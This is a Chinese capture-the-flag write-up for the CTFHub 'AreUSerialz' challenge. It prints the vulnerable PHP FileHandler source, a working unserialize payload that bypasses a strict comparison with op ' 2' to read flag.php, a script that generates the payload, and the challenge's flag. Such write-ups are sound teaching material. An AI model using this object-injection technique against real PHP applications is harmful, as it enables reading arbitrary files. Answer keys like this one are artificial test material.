AreUSerialz

---

一、答案

题目地址如下所示：
AreUSerialz

poc如下所示：
/?str=O:11:“FileHandler”:3:{s:2:“op”;s:2:" 2";s:8:“filename”;s:8:“flag.php”;s:7:“content”;s:2:“xx”;}

flag:ctfhub{96e5b05df6c9444d3fcda946}

二、解题流程

如下代码所示，是该题的代码：

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

整个代码的流程如下所示：

1. 首先第一步读取的字符串应该是什么

   	<?php
   class FileHandler
   {
       public $op = ' 2';
       public $filename = 'flag.php';
       public $content = 'xx';
   }
   $a = new FileHandler();
   $b = serialize($a);
   echo $b . PHP_EOL; //我们的目标就是得到$b
   $c = unserialize($b);
   echo $c->op;
   ?>
   

2. 由于：

    function __destruct() {
       if($this->op === "2")
           $this->op = "1";
   

   所以，public $op = ' 2';绕过

3. 由于第五步：

   private function read() {
       $res = "";
       if(isset($this->filename)) {
           $res = file_get_contents($this->filename);
       }
       return $res;
   }
   

   所以，public $filename = 'flag.php';读取flag

---